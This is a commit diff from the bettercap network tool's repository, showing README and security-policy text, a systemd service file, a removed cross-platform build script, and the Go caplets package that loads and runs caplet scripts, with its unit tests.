This command will download bettercap, install its dependencies, compile it and move the `bettercap` executable to `$GOPATH/bin`. <a href="https://github.com/bettercap/bettercap/graphs/contributors">
<img src="https://contrib.rocks/image?repo=bettercap/bettercap" alt="bettercap project contributors" />
Now you can use `sudo bettercap -h` to show the basic command line options and just `sudo bettercap` to start an </a>
[interactive session](https://github.com/bettercap/bettercap/wiki/Interactive-Mode) on your default network interface, otherwise you can [load a caplet](https://github.com/bettercap/bettercap/wiki/Caplets) from [the dedicated repository](https://github.com/bettercap/caplets).
## Update
In order to update to an unstable but bleeding edge release from this repository, run the command below:
$ go get -u github.com/bettercap/bettercap
## Documentation and Examples
The project is documented [in this wiki](https://github.com/bettercap/bettercap/wiki).
## License ## License
`bettercap` is made with ♥ by [the dev team](https://github.com/orgs/bettercap/people) and it's released under the GPL 3 license. `bettercap` is made with ♥ and released under the GPL 3 license.
## Stargazers over time
[![Stargazers over time](https://starchart.cc/bettercap/bettercap.svg)](https://starchart.cc/bettercap/bettercap)

9
SECURITY.md Normal file
View file

@ -0,0 +1,9 @@
# Security Policy
## Supported Versions
Feature updates and security fixes are streamlined only to the latest version, make sure to check [the release page](https://github.com/bettercap/bettercap/releases) periodically.
## Reporting a Vulnerability
For non critical bugs and vulnerabilities feel free to open an issue and tag `@evilsocket`, for more severe reports send an email to `evilsocket AT gmail DOT com`.

15
bettercap.service Normal file
View file

@ -0,0 +1,15 @@
[Unit]
Description=bettercap api.rest service.
Documentation=https://bettercap.org
Wants=network.target
After=network.target
[Service]
Type=simple
PermissionsStartOnly=true
ExecStart=/usr/local/bin/bettercap -no-colors -eval "set events.stream.output /var/log/bettercap.log; api.rest on"
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target

203
build.sh
View file

@ -1,203 +0,0 @@
#!/bin/bash
BUILD_FOLDER=build
VERSION=$(cat core/banner.go | grep Version | cut -d '"' -f 2)
CROSS_LIB=-L/tmp/libpcap-1.8.1/
bin_dep() {
BIN=$1
which $BIN > /dev/null || { echo "@ Dependency $BIN not found !"; exit 1; }
}
host_dep() {
HOST=$1
ping -c 1 $HOST > /dev/null || { echo "@ Virtual machine host $HOST not visible !"; exit 1; }
}
create_exe_archive() {
bin_dep 'zip'
OUTPUT=$1
echo "@ Creating archive $OUTPUT ..."
zip -j "$OUTPUT" bettercap.exe ../README.md ../LICENSE.md > /dev/null
rm -rf bettercap bettercap.exe
}
create_archive() {
bin_dep 'zip'
OUTPUT=$1
echo "@ Creating archive $OUTPUT ..."
zip -j "$OUTPUT" bettercap ../README.md ../LICENSE.md > /dev/null
rm -rf bettercap bettercap.exe
}
download_pcap() {
bin_dep 'wget'
bin_dep 'tar'
cd /tmp
rm -rf libpcap-1.8.1
if [ ! -f /tmp/libpcap-1.8.1.tar.gz ]; then
echo "@ Downloading https://www.tcpdump.org/release/libpcap-1.8.1.tar.gz ..."
wget -q https://www.tcpdump.org/release/libpcap-1.8.1.tar.gz -O /tmp/libpcap-1.8.1.tar.gz
fi
tar xf libpcap-1.8.1.tar.gz
}
xcompile_pcap() {
ARCH=$1
HOST=$2
COMPILER=$3
bin_dep 'make'
bin_dep 'yacc'
bin_dep 'flex'
bin_dep "$COMPILER"
echo "@ Cross compiling libpcap for $ARCH with $COMPILER ..."
cd /tmp/libpcap-1.8.1
export CC=$COMPILER
./configure --host=$HOST --with-pcap=linux > /dev/null
make CFLAGS='-w' -j4 > /dev/null
}
build_linux_amd64() {
echo "@ Building linux/amd64 ..."
go build -o bettercap ..
}
build_linux_arm7_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'arm' 'arm-linux-gnueabi' 'arm-linux-gnueabi-gcc'
echo "@ Building linux/arm7 ..."
cd "$OLD"
env CC=arm-linux-gnueabi-gcc CGO_ENABLED=1 GOOS=linux GOARCH=arm GOARM=7 CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_linux_arm7hf_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'arm' 'arm-linux-gnueabihf' 'arm-linux-gnueabihf-gcc'
echo "@ Building linux/arm7hf ..."
cd "$OLD"
env CC=arm-linux-gnueabihf-gcc CGO_ENABLED=1 GOOS=linux GOARCH=arm GOARM=7 CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_linux_mips_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'mips' 'mips-linux-gnu' 'mips-linux-gnu-gcc'
echo "@ Building linux/mips ..."
cd "$OLD"
env CC=mips-linux-gnu-gcc CGO_ENABLED=1 GOOS=linux GOARCH=mips CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_linux_mipsle_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'mipsel' 'mipsel-linux-gnu' 'mipsel-linux-gnu-gcc'
echo "@ Building linux/mipsle ..."
cd "$OLD"
env CC=mipsel-linux-gnu-gcc CGO_ENABLED=1 GOOS=linux GOARCH=mipsle CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_linux_mips64_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'mips64' 'mips64-linux-gnuabi64' 'mips64-linux-gnuabi64-gcc'
echo "@ Building linux/mips64 ..."
cd "$OLD"
env CC=mips64-linux-gnuabi64-gcc CGO_ENABLED=1 GOOS=linux GOARCH=mips64 CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_linux_mips64le_static() {
OLD=$(pwd)
download_pcap
xcompile_pcap 'mips64el' 'mips64el-linux-gnuabi64' 'mips64el-linux-gnuabi64-gcc'
echo "@ Building linux/mips64le ..."
cd "$OLD"
env CC=mips64el-linux-gnuabi64-gcc CGO_ENABLED=1 GOOS=linux GOARCH=mips64le CGO_LDFLAGS="$CROSS_LIB" go build -o bettercap ..
}
build_macos_amd64() {
host_dep 'osxvm'
DIR=/Users/evilsocket/gocode/src/github.com/bettercap/bettercap
echo "@ Updating repo on MacOS VM ..."
ssh osxvm "cd $DIR && rm -rf '$OUTPUT' && git pull" > /dev/null
echo "@ Building darwin/amd64 ..."
ssh osxvm "export GOPATH=/Users/evilsocket/gocode && cd '$DIR' && PATH=$PATH:/usr/local/bin && go get ./... && go build -o bettercap ." > /dev/null
scp -C osxvm:$DIR/bettercap . > /dev/null
}
build_windows_amd64() {
host_dep 'winvm'
DIR=c:/Users/evilsocket/gopath/src/github.com/bettercap/bettercap
echo "@ Updating repo on Windows VM ..."
ssh winvm "cd $DIR && git pull && go get ./..." > /dev/null
echo "@ Building windows/amd64 ..."
ssh winvm "cd $DIR && go build -o bettercap.exe ." > /dev/null
scp -C winvm:$DIR/bettercap.exe . > /dev/null
}
build_android_arm() {
host_dep 'shield'
DIR=/data/data/com.termux/files/home/go/src/github.com/bettercap/bettercap
echo "@ Updating repo on Android host ..."
ssh -p 8022 root@shield "cd "$DIR" && rm -rf bettercap* && git pull && go get ./..."
echo "@ Building android/arm ..."
ssh -p 8022 root@shield "cd $DIR && go build -o bettercap ."
echo "@ Downloading bettercap ..."
scp -C -P 8022 root@shield:$DIR/bettercap .
}
rm -rf $BUILD_FOLDER
mkdir $BUILD_FOLDER
cd $BUILD_FOLDER
build_linux_amd64 && create_archive bettercap_linux_amd64_$VERSION.zip
build_macos_amd64 && create_archive bettercap_macos_amd64_$VERSION.zip
build_android_arm && create_archive bettercap_android_arm_$VERSION.zip
build_windows_amd64 && create_exe_archive bettercap_windows_amd64_$VERSION.zip
build_linux_arm7_static && create_archive bettercap_linux_arm7_$VERSION.zip
# build_linux_arm7hf_static && create_archive bettercap_linux_arm7hf_$VERSION.zip
build_linux_mips_static && create_archive bettercap_linux_mips_$VERSION.zip
build_linux_mipsle_static && create_archive bettercap_linux_mipsle_$VERSION.zip
build_linux_mips64_static && create_archive bettercap_linux_mips64_$VERSION.zip
build_linux_mips64le_static && create_archive bettercap_linux_mips64le_$VERSION.zip
sha256sum * > checksums.txt
echo
echo
du -sh *
cd --

63
caplets/caplet.go Normal file
View file

@ -0,0 +1,63 @@
package caplets
import (
"fmt"
"path/filepath"
"strings"
"github.com/evilsocket/islazy/fs"
)
type Script struct {
Path string `json:"path"`
Size int64 `json:"size"`
Code []string `json:"code"`
}
func newScript(path string, size int64) Script {
return Script{
Path: path,
Size: size,
Code: make([]string, 0),
}
}
type Caplet struct {
Script
Name string `json:"name"`
Scripts []Script `json:"scripts"`
}
func NewCaplet(name string, path string, size int64) Caplet {
return Caplet{
Script: newScript(path, size),
Name: name,
Scripts: make([]Script, 0),
}
}
func (cap *Caplet) Eval(argv []string, lineCb func(line string) error) error {
if argv == nil {
argv = []string{}
}
// the caplet might include other files (include directive, proxy modules, etc),
// temporarily change the working directory
return fs.Chdir(filepath.Dir(cap.Path), func() error {
for _, line := range cap.Code {
// skip empty lines and comments
if line == "" || line[0] == '#' {
continue
}
// replace $0 with argv[0], $1 with argv[1] and so on
for i, arg := range argv {
what := fmt.Sprintf("$%d", i)
line = strings.Replace(line, what, arg, -1)
}
if err := lineCb(line); err != nil {
return err
}
}
return nil
})
}

378
caplets/caplet_test.go Normal file
View file

@ -0,0 +1,378 @@
package caplets
import (
"errors"
"io/ioutil"
"os"
"strings"
"testing"
)
func TestNewCaplet(t *testing.T) {
name := "test-caplet"
path := "/path/to/caplet.cap"
size := int64(1024)
cap := NewCaplet(name, path, size)
if cap.Name != name {
t.Errorf("expected name %s, got %s", name, cap.Name)
}
if cap.Path != path {
t.Errorf("expected path %s, got %s", path, cap.Path)
}
if cap.Size != size {
t.Errorf("expected size %d, got %d", size, cap.Size)
}
if cap.Code == nil {
t.Error("Code should not be nil")
}
if cap.Scripts == nil {
t.Error("Scripts should not be nil")
}
}
func TestCapletEval(t *testing.T) {
tests := []struct {
name string
code []string
argv []string
wantLines []string
wantErr bool
}{
{
name: "empty code",
code: []string{},
argv: nil,
wantLines: []string{},
wantErr: false,
},
{
name: "skip comments and empty lines",
code: []string{
"# this is a comment",
"",
"set test value",
"# another comment",
"set another value",
},
argv: nil,
wantLines: []string{
"set test value",
"set another value",
},
wantErr: false,
},
{
name: "variable substitution",
code: []string{
"set param $0",
"set value $1",
"run $0 $1 $2",
},
argv: []string{"arg0", "arg1", "arg2"},
wantLines: []string{
"set param arg0",
"set value arg1",
"run arg0 arg1 arg2",
},
wantErr: false,
},
{
name: "multiple occurrences of same variable",
code: []string{
"$0 $0 $1 $0",
},
argv: []string{"foo", "bar"},
wantLines: []string{
"foo foo bar foo",
},
wantErr: false,
},
{
name: "missing argv values",
code: []string{
"set $0 $1 $2",
},
argv: []string{"only_one"},
wantLines: []string{
"set only_one $1 $2",
},
wantErr: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
cap.Code = tt.code
var gotLines []string
err = cap.Eval(tt.argv, func(line string) error {
gotLines = append(gotLines, line)
return nil
})
if (err != nil) != tt.wantErr {
t.Errorf("Eval() error = %v, wantErr %v", err, tt.wantErr)
return
}
if len(gotLines) != len(tt.wantLines) {
t.Errorf("got %d lines, want %d", len(gotLines), len(tt.wantLines))
return
}
for i, line := range gotLines {
if line != tt.wantLines[i] {
t.Errorf("line %d: got %q, want %q", i, line, tt.wantLines[i])
}
}
})
}
}
func TestCapletEvalError(t *testing.T) {
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
cap.Code = []string{
"first line",
"error line",
"third line",
}
expectedErr := errors.New("test error")
var executedLines []string
err = cap.Eval(nil, func(line string) error {
executedLines = append(executedLines, line)
if line == "error line" {
return expectedErr
}
return nil
})
if err != expectedErr {
t.Errorf("expected error %v, got %v", expectedErr, err)
}
// Should have executed first two lines before error
if len(executedLines) != 2 {
t.Errorf("expected 2 executed lines, got %d", len(executedLines))
}
}
func TestCapletEvalWithChdirPath(t *testing.T) {
// Create a temporary caplet file to test with
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
cap.Code = []string{"test command"}
executed := false
err = cap.Eval(nil, func(line string) error {
executed = true
return nil
})
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if !executed {
t.Error("callback was not executed")
}
}
func TestNewScript(t *testing.T) {
path := "/path/to/script.js"
size := int64(2048)
script := newScript(path, size)
if script.Path != path {
t.Errorf("expected path %s, got %s", path, script.Path)
}
if script.Size != size {
t.Errorf("expected size %d, got %d", size, script.Size)
}
if script.Code == nil {
t.Error("Code should not be nil")
}
if len(script.Code) != 0 {
t.Errorf("expected empty Code slice, got %d elements", len(script.Code))
}
}
func TestCapletEvalCommentAtStartOfLine(t *testing.T) {
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
cap.Code = []string{
"# comment",
" # not a comment (has space before #)",
" # not a comment (has tab before #)",
"command # inline comment",
}
var gotLines []string
err = cap.Eval(nil, func(line string) error {
gotLines = append(gotLines, line)
return nil
})
if err != nil {
t.Errorf("unexpected error: %v", err)
}
expectedLines := []string{
" # not a comment (has space before #)",
" # not a comment (has tab before #)",
"command # inline comment",
}
if len(gotLines) != len(expectedLines) {
t.Errorf("got %d lines, want %d", len(gotLines), len(expectedLines))
return
}
for i, line := range gotLines {
if line != expectedLines[i] {
t.Errorf("line %d: got %q, want %q", i, line, expectedLines[i])
}
}
}
func TestCapletEvalArgvSubstitutionEdgeCases(t *testing.T) {
tests := []struct {
name string
code string
argv []string
wantLine string
}{
{
name: "double digit substitution $10",
code: "$1$0",
argv: []string{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"},
wantLine: "10",
},
{
name: "no space between variables",
code: "$0$1$2",
argv: []string{"a", "b", "c"},
wantLine: "abc",
},
{
name: "variables in quotes",
code: `"$0" '$1'`,
argv: []string{"foo", "bar"},
wantLine: `"foo" 'bar'`,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
cap.Code = []string{tt.code}
var gotLine string
err = cap.Eval(tt.argv, func(line string) error {
gotLine = line
return nil
})
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if gotLine != tt.wantLine {
t.Errorf("got line %q, want %q", gotLine, tt.wantLine)
}
})
}
}
func TestCapletStructFields(t *testing.T) {
// Test that Caplet properly embeds Script
tempFile, err := ioutil.TempFile("", "test-*.cap")
if err != nil {
t.Fatal(err)
}
defer os.Remove(tempFile.Name())
tempFile.Close()
cap := NewCaplet("test", tempFile.Name(), 100)
// These fields should be accessible due to embedding
_ = cap.Path
_ = cap.Size
_ = cap.Code
// And these are Caplet's own fields
_ = cap.Name
_ = cap.Scripts
}
func BenchmarkCapletEval(b *testing.B) {
cap := NewCaplet("bench", "/tmp/bench.cap", 100)
cap.Code = []string{
"set param1 $0",
"set param2 $1",
"# comment line",
"",
"run command $0 $1 $2",
"another command",
}
argv := []string{"arg0", "arg1", "arg2"}
b.ResetTimer()
for i := 0; i < b.N; i++ {
_ = cap.Eval(argv, func(line string) error {
// Do nothing, just measure evaluation overhead
return nil
})
}
}
func BenchmarkVariableSubstitution(b *testing.B) {
line := "command $0 $1 $2 $3 $4 $5 $6 $7 $8 $9"
argv := []string{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := line
for j, arg := range argv {
what := "$" + string(rune('0'+j))
result = strings.Replace(result, what, arg, -1)
}
}
}

2
caplets/doc.go Normal file
View file

@ -0,0 +1,2 @@
// Package caplets contains functions to enumerate, load and execute caplets.
package caplets

67
caplets/env.go Normal file
View file

@ -0,0 +1,67 @@
package caplets
import (
"os"
"path/filepath"
"runtime"
"github.com/evilsocket/islazy/str"
"github.com/mitchellh/go-homedir"
)
const (
EnvVarName = "CAPSPATH"
Suffix = ".cap"
InstallArchive = "https://github.com/bettercap/caplets/archive/master.zip"
)
func getDefaultInstallBase() string {
if runtime.GOOS == "windows" {
return filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
}
return "/usr/local/share/bettercap/"
}
func getUserHomeDir() string {
usr, _ := homedir.Dir()
return usr
}
var (
InstallBase = ""
InstallPathArchive = ""
InstallPath = ""
ArchivePath = ""
LoadPaths = []string(nil)
)
func Setup(base string) error {
InstallBase = base
InstallPathArchive = filepath.Join(InstallBase, "caplets-master")
InstallPath = filepath.Join(InstallBase, "caplets")
ArchivePath = filepath.Join(os.TempDir(), "caplets.zip")
LoadPaths = []string{
"./",
"./caplets/",
InstallPath,
filepath.Join(getUserHomeDir(), "caplets"),
}
for _, path := range str.SplitBy(str.Trim(os.Getenv(EnvVarName)), string(os.PathListSeparator)) {
if path = str.Trim(path); len(path) > 0 {
LoadPaths = append(LoadPaths, path)
}
}
for i, path := range LoadPaths {
LoadPaths[i], _ = filepath.Abs(path)
}
return nil
}
func init() {
// init with defaults
Setup(getDefaultInstallBase())
}

308
caplets/env_test.go Normal file
View file

@ -0,0 +1,308 @@
package caplets
import (
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestGetDefaultInstallBase(t *testing.T) {
base := getDefaultInstallBase()
if runtime.GOOS == "windows" {
expected := filepath.Join(os.Getenv("ALLUSERSPROFILE"), "bettercap")
if base != expected {
t.Errorf("on windows, expected %s, got %s", expected, base)
}
} else {
expected := "/usr/local/share/bettercap/"
if base != expected {
t.Errorf("on non-windows, expected %s, got %s", expected, base)
}
}
}
func TestGetUserHomeDir(t *testing.T) {
home := getUserHomeDir()
// Should return a non-empty string
if home == "" {
t.Error("getUserHomeDir returned empty string")
}
// Should be an absolute path
if !filepath.IsAbs(home) {
t.Errorf("expected absolute path, got %s", home)
}
}
func TestSetup(t *testing.T) {
// Save original values
origInstallBase := InstallBase
origInstallPathArchive := InstallPathArchive
origInstallPath := InstallPath
origArchivePath := ArchivePath
origLoadPaths := LoadPaths
// Test with custom base
testBase := "/custom/base"
err := Setup(testBase)
if err != nil {
t.Errorf("Setup returned error: %v", err)
}
// Check that paths are set correctly
if InstallBase != testBase {
t.Errorf("expected InstallBase %s, got %s", testBase, InstallBase)
}
expectedArchivePath := filepath.Join(testBase, "caplets-master")
if InstallPathArchive != expectedArchivePath {
t.Errorf("expected InstallPathArchive %s, got %s", expectedArchivePath, InstallPathArchive)
}
expectedInstallPath := filepath.Join(testBase, "caplets")
if InstallPath != expectedInstallPath {
t.Errorf("expected InstallPath %s, got %s", expectedInstallPath, InstallPath)
}
expectedTempPath := filepath.Join(os.TempDir(), "caplets.zip")
if ArchivePath != expectedTempPath {
t.Errorf("expected ArchivePath %s, got %s", expectedTempPath, ArchivePath)
}
// Check LoadPaths contains expected paths
expectedInLoadPaths := []string{
"./",
"./caplets/",
InstallPath,
filepath.Join(getUserHomeDir(), "caplets"),
}
for _, expected := range expectedInLoadPaths {
absExpected, _ := filepath.Abs(expected)
found := false
for _, path := range LoadPaths {
if path == absExpected {
found = true
break
}
}
if !found {
t.Errorf("expected path %s not found in LoadPaths", absExpected)
}
}
// All paths should be absolute
for _, path := range LoadPaths {
if !filepath.IsAbs(path) {
t.Errorf("LoadPath %s is not absolute", path)
}
}
// Restore original values
InstallBase = origInstallBase
InstallPathArchive = origInstallPathArchive
InstallPath = origInstallPath
ArchivePath = origArchivePath
LoadPaths = origLoadPaths
}
func TestSetupWithEnvironmentVariable(t *testing.T) {
// Save original values
origEnv := os.Getenv(EnvVarName)
origLoadPaths := LoadPaths
// Set environment variable with multiple paths
testPaths := []string{"/path1", "/path2", "/path3"}
os.Setenv(EnvVarName, strings.Join(testPaths, string(os.PathListSeparator)))
// Run setup
err := Setup("/test/base")
if err != nil {
t.Errorf("Setup returned error: %v", err)
}
// Check that custom paths from env var are in LoadPaths
for _, testPath := range testPaths {
absTestPath, _ := filepath.Abs(testPath)
found := false
for _, path := range LoadPaths {
if path == absTestPath {
found = true
break
}
}
if !found {
t.Errorf("expected env path %s not found in LoadPaths", absTestPath)
}
}
// Restore original values
if origEnv == "" {
os.Unsetenv(EnvVarName)
} else {
os.Setenv(EnvVarName, origEnv)
}
LoadPaths = origLoadPaths
}
func TestSetupWithEmptyEnvironmentVariable(t *testing.T) {
// Save original values
origEnv := os.Getenv(EnvVarName)
origLoadPaths := LoadPaths
// Set empty environment variable
os.Setenv(EnvVarName, "")
// Count LoadPaths before setup
err := Setup("/test/base")
if err != nil {
t.Errorf("Setup returned error: %v", err)
}
// Should have only the default paths (4)
if len(LoadPaths) != 4 {
t.Errorf("expected 4 default LoadPaths, got %d", len(LoadPaths))
}
// Restore original values
if origEnv == "" {
os.Unsetenv(EnvVarName)
} else {
os.Setenv(EnvVarName, origEnv)
}
LoadPaths = origLoadPaths
}
func TestSetupWithWhitespaceInEnvironmentVariable(t *testing.T) {
// Save original values
origEnv := os.Getenv(EnvVarName)
origLoadPaths := LoadPaths
// Set environment variable with whitespace
testPaths := []string{" /path1 ", " ", "/path2 "}
os.Setenv(EnvVarName, strings.Join(testPaths, string(os.PathListSeparator)))
// Run setup
err := Setup("/test/base")
if err != nil {
t.Errorf("Setup returned error: %v", err)
}
// Should have added only non-empty paths after trimming
expectedPaths := []string{"/path1", "/path2"}
foundCount := 0
for _, expectedPath := range expectedPaths {
absExpected, _ := filepath.Abs(expectedPath)
for _, path := range LoadPaths {
if path == absExpected {
foundCount++
break
}
}
}
if foundCount != len(expectedPaths) {
t.Errorf("expected to find %d paths from env, found %d", len(expectedPaths), foundCount)
}
// Restore original values
if origEnv == "" {
os.Unsetenv(EnvVarName)
} else {
os.Setenv(EnvVarName, origEnv)
}
LoadPaths = origLoadPaths
}
func TestConstants(t *testing.T) {
// Test that constants have expected values
if EnvVarName != "CAPSPATH" {
t.Errorf("expected EnvVarName to be 'CAPSPATH', got %s", EnvVarName)
}
if Suffix != ".cap" {
t.Errorf("expected Suffix to be '.cap', got %s", Suffix)
}
if InstallArchive != "https://github.com/bettercap/caplets/archive/master.zip" {
t.Errorf("unexpected InstallArchive value: %s", InstallArchive)
}
}
func TestInit(t *testing.T) {
// The init function should have been called already
// Check that paths are initialized
if InstallBase == "" {
t.Error("InstallBase not initialized")
}
if InstallPath == "" {
t.Error("InstallPath not initialized")
}
if InstallPathArchive == "" {
t.Error("InstallPathArchive not initialized")
}
if ArchivePath == "" {
t.Error("ArchivePath not initialized")
}
if LoadPaths == nil || len(LoadPaths) == 0 {
t.Error("LoadPaths not initialized")
}
}
func TestSetupMultipleTimes(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
// Setup multiple times with different bases
bases := []string{"/base1", "/base2", "/base3"}
for _, base := range bases {
err := Setup(base)
if err != nil {
t.Errorf("Setup(%s) returned error: %v", base, err)
}
// Check that InstallBase is updated
if InstallBase != base {
t.Errorf("expected InstallBase %s, got %s", base, InstallBase)
}
// LoadPaths should be recreated each time
if len(LoadPaths) < 4 {
t.Errorf("LoadPaths should have at least 4 entries, got %d", len(LoadPaths))
}
}
// Restore original values
LoadPaths = origLoadPaths
}
func BenchmarkSetup(b *testing.B) {
// Save original values
origEnv := os.Getenv(EnvVarName)
// Set a complex environment
paths := []string{"/p1", "/p2", "/p3", "/p4", "/p5"}
os.Setenv(EnvVarName, strings.Join(paths, string(os.PathListSeparator)))
b.ResetTimer()
for i := 0; i < b.N; i++ {
Setup("/benchmark/base")
}
// Restore
if origEnv == "" {
os.Unsetenv(EnvVarName)
} else {
os.Setenv(EnvVarName, origEnv)
}
}

110
caplets/manager.go Normal file
View file

@ -0,0 +1,110 @@
package caplets
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"github.com/evilsocket/islazy/fs"
)
var (
cache = make(map[string]*Caplet)
cacheLock = sync.Mutex{}
)
func List() []*Caplet {
caplets := make([]*Caplet, 0)
for _, searchPath := range LoadPaths {
files, _ := filepath.Glob(searchPath + "/*" + Suffix)
files2, _ := filepath.Glob(searchPath + "/*/*" + Suffix)
for _, fileName := range append(files, files2...) {
if _, err := os.Stat(fileName); err == nil {
base := strings.Replace(fileName, searchPath+string(os.PathSeparator), "", -1)
base = strings.Replace(base, Suffix, "", -1)
if caplet, err := Load(base); err != nil {
fmt.Fprintf(os.Stderr, "wtf: %v\n", err)
} else {
caplets = append(caplets, caplet)
}
}
}
}
sort.Slice(caplets, func(i, j int) bool {
return strings.Compare(caplets[i].Name, caplets[j].Name) == -1
})
return caplets
}
func Load(name string) (*Caplet, error) {
cacheLock.Lock()
defer cacheLock.Unlock()
if caplet, found := cache[name]; found {
return caplet, nil
}
baseName := name
names := []string{}
if !strings.HasSuffix(name, Suffix) {
name += Suffix
}
if !filepath.IsAbs(name) {
for _, path := range LoadPaths {
names = append(names, filepath.Join(path, name))
}
} else {
names = append(names, name)
}
for _, fileName := range names {
if stats, err := os.Stat(fileName); err == nil {
cap := &Caplet{
Script: newScript(fileName, stats.Size()),
Name: baseName,
Scripts: make([]Script, 0),
}
cache[name] = cap
if reader, err := fs.LineReader(fileName); err != nil {
return nil, fmt.Errorf("error reading caplet %s: %v", fileName, err)
} else {
for line := range reader {
cap.Code = append(cap.Code, line)
}
// the caplet has a dedicated folder
if strings.Contains(baseName, "/") || strings.Contains(baseName, "\\") {
dir := filepath.Dir(fileName)
// get all secondary .cap and .js files
if files, err := ioutil.ReadDir(dir); err == nil && len(files) > 0 {
for _, f := range files {
subFileName := filepath.Join(dir, f.Name())
if subFileName != fileName && (strings.HasSuffix(subFileName, ".cap") || strings.HasSuffix(subFileName, ".js")) {
if reader, err := fs.LineReader(subFileName); err == nil {
script := newScript(subFileName, f.Size())
for line := range reader {
script.Code = append(script.Code, line)
}
cap.Scripts = append(cap.Scripts, script)
}
}
}
}
}
}
return cap, nil
}
}
return nil, fmt.Errorf("caplet %s not found", name)
}

511
caplets/manager_test.go Normal file
View file

@ -0,0 +1,511 @@
package caplets
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"testing"
)
func createTestCaplet(t testing.TB, dir string, name string, content []string) string {
filename := filepath.Join(dir, name)
data := strings.Join(content, "\n")
err := ioutil.WriteFile(filename, []byte(data), 0644)
if err != nil {
t.Fatalf("failed to create test caplet: %v", err)
}
return filename
}
func TestList(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directories
tempDir, err := ioutil.TempDir("", "caplets-test")
if err != nil {
t.Fatal(err)
}
defer os.RemoveAll(tempDir)
// Create subdirectories
dir1 := filepath.Join(tempDir, "dir1")
dir2 := filepath.Join(tempDir, "dir2")
subdir := filepath.Join(dir1, "subdir")
os.Mkdir(dir1, 0755)
os.Mkdir(dir2, 0755)
os.Mkdir(subdir, 0755)
// Create test caplets
createTestCaplet(t, dir1, "test1.cap", []string{"# Test caplet 1", "set test 1"})
createTestCaplet(t, dir1, "test2.cap", []string{"# Test caplet 2", "set test 2"})
createTestCaplet(t, dir2, "test3.cap", []string{"# Test caplet 3", "set test 3"})
createTestCaplet(t, subdir, "nested.cap", []string{"# Nested caplet", "set nested test"})
// Also create a non-caplet file
ioutil.WriteFile(filepath.Join(dir1, "notacaplet.txt"), []byte("not a caplet"), 0644)
// Set LoadPaths
LoadPaths = []string{dir1, dir2}
// Call List()
caplets := List()
// Check results
if len(caplets) != 4 {
t.Errorf("expected 4 caplets, got %d", len(caplets))
}
// Check names (should be sorted)
expectedNames := []string{filepath.Join("subdir", "nested"), "test1", "test2", "test3"}
sort.Strings(expectedNames)
gotNames := make([]string, len(caplets))
for i, cap := range caplets {
gotNames[i] = cap.Name
}
for i, expected := range expectedNames {
if i >= len(gotNames) || gotNames[i] != expected {
t.Errorf("expected caplet %d to be %s, got %s", i, expected, gotNames[i])
}
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestListEmptyDirectories(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directory
tempDir, err := ioutil.TempDir("", "caplets-empty-test")
if err != nil {
t.Fatal(err)
}
defer os.RemoveAll(tempDir)
// Set LoadPaths to empty directory
LoadPaths = []string{tempDir}
// Call List()
caplets := List()
// Should return empty list
if len(caplets) != 0 {
t.Errorf("expected 0 caplets, got %d", len(caplets))
}
// Restore original values
LoadPaths = origLoadPaths
cache = origCache
}
func TestLoad(t *testing.T) {
// Save original values
origLoadPaths := LoadPaths
origCache := cache
cache = make(map[string]*Caplet)
// Create temp directory
tempDir, err := ioutil.TempDir("", "caplets-load-test")
if err != nil {
t.Fatal(err)
}
defer os.RemoveAll(tempDir)
// Create test caplet
capletContent := []string{
"# Test caplet",
"set param value",
"",
"# Another comment",
"run command",
}
createTestCaplet(t, tempDir, "test.cap", capletContent)
// Set LoadPaths
LoadPaths = []string{tempDir}
// Test loading without .cap extension
cap, err := Load("test")
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if cap == nil {
t.Error("caplet is nil")
} else {
if cap.Name != "test" {
t.Errorf("expected name 'test', got %s", cap.Name)
}
if len(cap.Code) != len(capletContent) {
t.Errorf("expected %d lines, got %d", len(capletContent), len(cap.Code))
}
}
// Test loading from cache
// Note: The Load function caches with the suffix, so we need to use the same name with suffix
cap2, err := Load("test.cap")
if err != nil {
t.Errorf("unexpected error on cache hit: %v", err)
}
